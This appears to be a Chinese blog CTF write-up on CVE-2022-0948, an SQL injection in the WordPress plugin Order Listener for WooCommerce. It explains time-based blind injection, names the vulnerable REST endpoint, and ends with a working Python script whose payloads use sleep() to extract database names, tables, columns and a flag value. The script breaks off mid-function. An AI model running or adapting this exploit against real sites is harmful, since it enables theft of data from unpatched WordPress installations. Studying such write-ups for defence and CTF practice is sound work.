CVE-2022-0948

最新推荐文章于 2024-12-09 22:05:46 发布

原创最新推荐文章于 2024-12-09 22:05:46 发布 · 688 阅读

12 ·

CC 4.0 BY-SA版权

文章标签：

#网络 #安全

根据提示：

WordPress plugin Order Listener for WooCommerce 3.2.2 之前版本存在SQL注入漏洞

在网上搜了一下

在/?rest_route=/olistener/new目录下存在延时盲注

延时盲注，也称为时间盲注或延迟注入，是一种利用执行时间差判断是否执行成功的盲注手法。攻击者提交一个对执行时间敏感的SQL语句，通过执行时间的长短来判断注入是否成功。例如，如果注入成功，执行时间会变长；如果注入失败，执行时间则会变短。这种方法可以绕过一些常规的防护措施，例如防火墙和入侵检测系统，因此较为隐蔽和难以防范。

在延时盲注中，攻击者通常会利用sleep()函数制造时间延迟，由回显时间来判断是否报错。同时，攻击者还会结合if(expr1,expr2,expr3)语句等条件判断语句进行操作。例如，攻击者可以通过判断第一个字母的ASCII码是否为115来决定是否执行sleep()函数，进而控制执行时间。

虽然延时盲注是一种非常有效的注入攻击手段，但手工检查却相对困难，因为攻击者可以精确地控制执行时间，使得检测工具难以发现异常。因此，在进行网络安全防护时，我们需要加强对输入数据的检查和过滤，避免攻击者利用漏洞进行注入攻击。

访问/?rest_route=/olistener/new

bp抓包保存一下

延时盲注脚本

import requests

import time

def time_delay(url, headers, payload):

start_time = time.time()

response = requests.post(url, headers=headers, data=payload)

end_time = time.time()

#print(end_time,start_time)

delay = end_time - start_time

return delay

def time_based_blind_sql_injection(url, headers):

result=[]

for i in range(1, 100):

for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':

#find db

#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)

#find table

#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

#find table -wp%

payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

#find column

#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)

payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j)